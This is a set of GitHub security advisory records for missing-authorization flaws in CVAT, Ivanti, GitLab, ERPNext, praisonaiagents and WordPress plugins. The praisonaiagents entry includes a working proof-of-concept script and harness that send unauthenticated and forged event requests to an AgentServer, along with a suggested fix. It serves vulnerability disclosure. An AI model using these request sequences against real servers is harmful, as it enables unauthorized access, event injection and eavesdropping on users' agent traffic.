CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2026-58373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T17:16:25Z",
    "severity": "MODERATE"
  },
  "details": "CVAT before 2.69.0 contains an improper authorization vulnerability in QualityReportViewSet.get_queryset that allows authenticated attackers to enumerate quality report identifiers belonging to other organizations by exploiting a missing check_object_permissions call on the parent_id query parameter of the quality reports API endpoint. Attackers can send requests with sequential integer parent_id values and distinguish between existing and non-existing reports via HTTP 500 versus HTTP 404 response differences, disclosing cross-organization report existence without returning report content.",
  "id": "GHSA-7fxw-w85g-2jg3",
  "modified": "2026-06-30T18:31:40Z",
  "published": "2026-06-30T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/pull/10807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/commit/27953f19d2265f8b495369f816730a7452db791b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/releases/tag/v2.69.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cvat-missing-authorization-on-quality-reports-parent-id-filter-leaks-cross-organization-report-existence"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T16:15:34Z",
    "severity": "MODERATE"
  },
  "details": "Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure restricted settings.",
  "id": "GHSA-7g3f-mmjm-c2x8",
  "modified": "2025-09-09T18:31:18Z",
  "published": "2025-09-09T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55144"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/September-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-and-Neurons-for-Secure-Access-Multiple-CVEs?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:31:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonaiagents` on PyPI\n**Affected version (empirically tested):** 1.6.48\n**Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server)\n\n---\n\n## TL;DR\n\n`AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `\"auth_token\": \"***\"` \u2014 strongly implying the value is wired into request authentication.\n\nIt isn\u0027t. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route \u2014 `/info`, `/publish`, `/events`, `/health` \u2014 accepts unauthenticated requests regardless of whether `auth_token` is configured.\n\nThe same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI\u0027s `Depends(_verify_auth)`. This rules out the \"auth is not yet implemented; operators are expected to add it\" reading: the developer knew the pattern but did not apply it to `AgentServer`.\n\n## Root cause\n\n```\n   Expected behavior when setting ServerConfig(auth_token=\"\u2026\"):\n     \"Only requests with a matching Authorization header will be\n      accepted on /publish, /events, /info.\"\n\n   Actual behavior (server/server.py, dist 1.6.48):\n     - line 31    auth_token: Optional[str] = None   # declared\n     - line 39    \"auth_token\": \"***\" if self.auth_token else None  # displayed\n     - lines 122-204:  no auth middleware, no Depends, no\n                       request.headers[\"Authorization\"] read,\n                       no comparison to self.config.auth_token.\n\n   Impact:\n     The configuration knob is dead code from the route handlers\u0027\n     perspective.  All routes always run.  The operator has no signal\n     that their auth_token was discarded \u2014 /info even confirms it\n     was received by displaying \"***\".\n```\n\n## Sibling proof \u2014 the same package gets it right elsewhere\n\n`praisonaiagents/ui/a2a/a2a.py`:\n\n```python\n# line 163\nasync def _verify_auth(authorization: Optional[str] = Header(None)):\n    \"\"\"Verify bearer token if auth_token is configured.\"\"\"\n    if self.auth_token is None:\n        return\n    ...\n    if len(parts) != 2 or parts[0].lower() != \"bearer\" \\\n            or parts[1] != self.auth_token:\n        raise HTTPException(status_code=401, ...)\n\n# line 192\nfrom fastapi import Depends\n_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []\n```\n\nThat is the missing implementation. Porting it to `AgentServer` \u2014 either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route \u2014 closes the gap.\n\n## Affected routes (empirically tested)\n\n| Route       | Method | Accepts unauth requests? | Impact                                                                 |\n|-------------|--------|--------------------------|------------------------------------------------------------------------|\n| `/info`     | GET    | **Yes (200)**            | Leaks server config; confirms `auth_token` is set (`\"***\"`); reveals client count and CORS config. |\n| `/publish`  | POST   | **Yes (200)**            | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent.  Event payload is whatever the attacker sends. |\n| `/events`   | GET    | **Yes (200)**            | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |\n| `/health`   | GET    | **Yes (200)**            | Leaks live SSE client count.                                           |\n\n## Impact\n\nThe `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:\n\n1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`.\n2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall.\n3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target.\n\n`SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber\u0027s queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.\n\n## Anchors\n\npraisonaiagents 1.6.48, file `praisonaiagents/server/server.py`:\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 31    | `auth_token: Optional[str] = None`                       | Declared. |\n| 39    | `\"auth_token\": \"***\" if self.auth_token else None`       | Displayed (masked) in `/info`. |\n| 121   | `def _create_app(self):`                                 | Route + middleware setup begins. |\n| 132   | `async def health(request):`                             | No auth check. |\n| 139   | `async def events(request):`                             | No auth check. |\n| 164   | `async def publish(request):`                            | No auth check. |\n| 182   | `async def info(request):`                               | No auth check. |\n| 190   | `routes = [Route(\"/health\", \u2026), Route(\"/events\", \u2026), Route(\"/publish\", \u2026), Route(\"/info\", \u2026)]` | Routes registered without `Depends`/middleware. |\n| 197   | `app = Starlette(routes=routes)`                         | App created. |\n| 200   | `app = CORSMiddleware(app, \u2026)`                           | **Only** middleware added. |\n\nSource sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes).\n\nSibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`.\n\n## Reproduction (empirical PoC)\n\n`poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token=\"supersecret-not-actually-checked\")` and then sends unauthenticated requests to each route.\n\nRun log (`poc/run-log.txt`):\n\n```\n[1] GET /info     (no Authorization) -\u003e HTTP 200\n    body: {\"name\":\"PraisonAI Agent Server\",\"version\":\"1.0.0\",\"clients\":0,\n           \"config\":{\"host\":\"127.0.0.1\",\"port\":18765,\"cors_origins\":[],\n                     \"auth_token\":\"***\",\"max_connections\":100}}\n[2] POST /publish (no Authorization) -\u003e HTTP 200\n    body: {\"success\":true,\"clients\":0}\n[3] GET /health   (no Authorization) -\u003e HTTP 200\n[4] GET /events   (no Authorization) -\u003e HTTP 200\n\nVULNERABLE: 4 unauthenticated routes\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Suggested fix\n\nMake `AgentServer` reuse the A2A pattern. Smallest fix:\n\n```python\n# in _create_app, after `app = Starlette(routes=routes)`:\nif self.config.auth_token:\n    from starlette.middleware.base import BaseHTTPMiddleware\n    from starlette.responses import JSONResponse\n\n    expected = \"Bearer \" + self.config.auth_token\n\n    class _Auth(BaseHTTPMiddleware):\n        async def dispatch(self, request, call_next):\n            if request.url.path == \"/health\":     # if /health should remain public\n                return await call_next(request)\n            got = request.headers.get(\"authorization\", \"\")\n            if not hmac.compare_digest(got, expected):\n                return JSONResponse({\"error\": \"unauthorized\"}, status_code=401)\n            return await call_next(request)\n\n    app = _Auth(app)\n\napp = CORSMiddleware(app, ...)\n```\n\nConstant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.\n\nThe ServerConfig dataclass declares `auth_token: Optional[str] = None` and\nthe /info endpoint reports it as \"***\" when set, giving operators the\nimpression that requests will be authenticated.  In reality,\nAgentServer._create_app never reads auth_token, never adds an auth\nmiddleware, and never decorates any route with Depends(_verify_auth).\n\nThis PoC starts AgentServer with auth_token=\"supersecret\", then hits\nevery route without any Authorization header.  All requests succeed.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nfrom praisonaiagents.server import AgentServer, ServerConfig\n\nPORT = 18765\nAUTH_TOKEN = \"supersecret-not-actually-checked\"\n\ndef http_request(method, path, body=None, headers=None):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=5) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, f\"URLError: {e}\"\n\ndef main() -\u003e int:\n    print(\"=\" * 70)\n    print(f\"praisonaiagents version: 1.6.48\")\n    print(f\"Test: start AgentServer with auth_token={AUTH_TOKEN!r}\")\n    print(f\"      then send UNAUTHENTICATED requests to every route.\")\n    print(\"=\" * 70)\n\n    config = ServerConfig(host=\"127.0.0.1\", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])\n    server = AgentServer(config=config)\n    server.start(blocking=False)\n    time.sleep(1.0)  # wait for uvicorn to be ready\n\n    findings = []\n\n    code, body = http_request(\"GET\", \"/info\")\n    info_data = None\n    try:\n        info_data = json.loads(body)\n    except Exception:\n        pass\n    print(f\"\\n[1] GET /info (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200 and info_data and info_data.get(\"config\", {}).get(\"auth_token\") == \"***\":\n        findings.append(\"/info: unauthenticated; leaks that auth_token IS configured\")\n\n    payload = {\"type\": \"attacker_injected_event\",\n               \"data\": {\"forged_from\": \"unauthenticated_client\", \"instruction\": \"shutdown_now\"}}\n    code, body = http_request(\"POST\", \"/publish\", body=payload)\n    print(f\"\\n[2] POST /publish (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200:\n        try:\n            ok = json.loads(body).get(\"success\") is True\n        except Exception:\n            ok = False\n        if ok:\n            findings.append(\"/publish: unauthenticated event broadcast to all SSE clients\")\n\n    code, body = http_request(\"GET\", \"/health\")\n    print(f\"\\n[3] GET /health (no Authorization header) -\u003e HTTP {code} body={body[:120]}\")\n    if code == 200:\n        findings.append(\"/health: unauthenticated; leaks live client count\")\n\n    sse_status = []\n    def sse_reader():\n        try:\n            req = Request(f\"http://127.0.0.1:{PORT}/events\", method=\"GET\")\n            with urlopen(req, timeout=3) as resp:\n                sse_status.append(f\"HTTP {resp.status}\")\n                try:\n                    chunk = resp.read(64)\n                    sse_status.append(f\"first-chunk-bytes={len(chunk)}\")\n                except Exception as e:\n                    sse_status.append(f\"chunk-read: {e}\")\n        except Exception as exc:\n            sse_status.append(f\"ERR: {exc}\")\n    t = threading.Thread(target=sse_reader, daemon=True)\n    t.start()\n    time.sleep(2.0)\n    print(f\"\\n[4] GET /events (no Authorization header) -\u003e {sse_status}\")\n    if sse_status and sse_status[0] == \"HTTP 200\":\n        findings.append(\"/events: unauthenticated SSE subscription accepted\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if findings:\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai-agents\"); sys.path.insert(0,BK)\nfor p in [\"praisonaiagents\",\"praisonaiagents.server\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nlg=types.ModuleType(\"praisonaiagents._logging\"); lg.get_logger=lambda *a,**k: __import__(\"logging\").getLogger(\"x\"); sys.modules[\"praisonaiagents._logging\"]=lg\nspec=importlib.util.spec_from_file_location(\"praisonaiagents.server.server\", BK+\"/praisonaiagents/server/server.py\")\nsrvmod=importlib.util.module_from_spec(spec); srvmod.__package__=\"praisonaiagents.server\"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)\n\nfrom starlette.testclient import TestClient\n# Operator DOES configure an auth_token, expecting it to protect the server:\ncfg = srvmod.ServerConfig(host=\"127.0.0.1\", port=8765, auth_token=\"super-secret-operator-token\")\nsrv = srvmod.AgentServer(config=cfg)            # REAL AgentServer\napp = srv._create_app()                        # REAL Starlette app + routes\nclient = TestClient(app)\n\nprint(\"[*] auth_token configured on server:\", repr(cfg.auth_token))\nr_info = client.get(\"/info\")\nprint(f\"[+] GET /info  (no auth) -\u003e HTTP {r_info.status_code}; config disclosed: {r_info.json().get(\u0027config\u0027)}\")\nr_pub = client.post(\"/publish\", json={\"type\":\"admin_event\",\"data\":{\"x\":\"injected-by-attacker\"}})\nprint(f\"[+] POST /publish (no auth) -\u003e HTTP {r_pub.status_code}; body: {r_pub.json()}\")\n\nassert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get(\"success\") is True\nprint(\"[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] auth_token configured on server: \u0027super-secret-operator-token\u0027\n[+] GET /info  (no auth) -\u003e HTTP 200; config disclosed: {\u0027host\u0027: \u0027127.0.0.1\u0027, \u0027port\u0027: 8765, \u0027cors_origins\u0027: [], \u0027auth_token\u0027: \u0027***\u0027, \u0027max_connections\u0027: 100}\n[+] POST /publish (no auth) -\u003e HTTP 200; body: {\u0027success\u0027: True, \u0027clients\u0027: 0}\n[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-7g3p-92qq-8wvh",
  "modified": "2026-08-25T14:31:52Z",
  "published": "2026-08-25T14:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: AgentServer declares auth_token but never enforces it on any route"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-05T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper authorization in Gitlab EE affecting all versions from 12.3.0 before 15.8.5, all versions starting from 15.9 before 15.9.4, all versions starting from 15.10 before 15.10.1 allows an unauthorized access to security reports in MR.",
  "id": "GHSA-7g53-7whp-2hm3",
  "modified": "2023-04-12T18:30:37Z",
  "published": "2023-04-05T21:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1167"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-1167.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/392715"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-109661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-12T23:17:33Z",
    "severity": "HIGH"
  },
  "details": "Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.",
  "id": "GHSA-7g5p-g62q-6h28",
  "modified": "2026-10-13T00:31:37Z",
  "published": "2026-10-13T00:31:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/security/advisories/GHSA-j2h8-8xqj-jrg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109661"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-15.116.0-missing-authorization-exposes-financial-data"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-43980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-01T15:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in CozyThemes Fota WP allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fota WP: from n/a through 1.4.1.",
  "id": "GHSA-7g6p-c3g9-82pv",
  "modified": "2024-11-01T15:32:00Z",
  "published": "2024-11-01T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43980"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/fotawp/wordpress-fotawp-theme-1-4-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T12:17:13Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated Broken Access Control in WP Event SOlution \u003c= 4.1.22 versions.",
  "id": "GHSA-7g74-92vj-5wjh",
  "modified": "2026-09-02T12:31:30Z",
  "published": "2026-09-02T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82223"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-wp-event-solution-plugin-4-1-22-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-15930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T07:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "The Simple Membership WordPress plugin before 4.7.8 does not verify whether user creation failed during registration before using the returned value as a user ID to update an account, allowing unauthenticated attackers to overwrite the primary administrator\u0027s account data (including the email address) and take over that account through the password reset flow.",
  "id": "GHSA-7g75-5pmj-3v8p",
  "modified": "2026-08-03T18:30:42Z",
  "published": "2026-08-03T09:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15930"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/e46948f1-0e06-4e76-8fc8-df661eb786a5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T08:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The Chamber Dashboard Business Directory plugin for WordPress is vulnerable to unauthorized data export due to a missing capability check on the cdash_watch_for_export() function in all versions up to, and including, 3.3.11. This makes it possible for unauthenticated attackers to export business directory information, including sensitive business details.",
  "id": "GHSA-7g93-jcfw-xjp3",
  "modified": "2025-11-25T09:31:24Z",
  "published": "2025-11-25T09:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13414"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chamber-dashboard-business-directory/tags/3.3.11/options.php#L850"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chamber-dashboard-business-directory/trunk/options.php#L850"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1896885a-a104-464a-bb57-2c3c73ff9415?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-48247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-10T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The vulnerability allows an unauthenticated remote attacker to read arbitrary files under the context of the application OS user (\u201croot\u201d) via a crafted HTTP request.",
  "id": "GHSA-7g9c-v6gj-chqc",
  "modified": "2024-01-16T21:31:21Z",
  "published": "2024-01-10T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48247"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}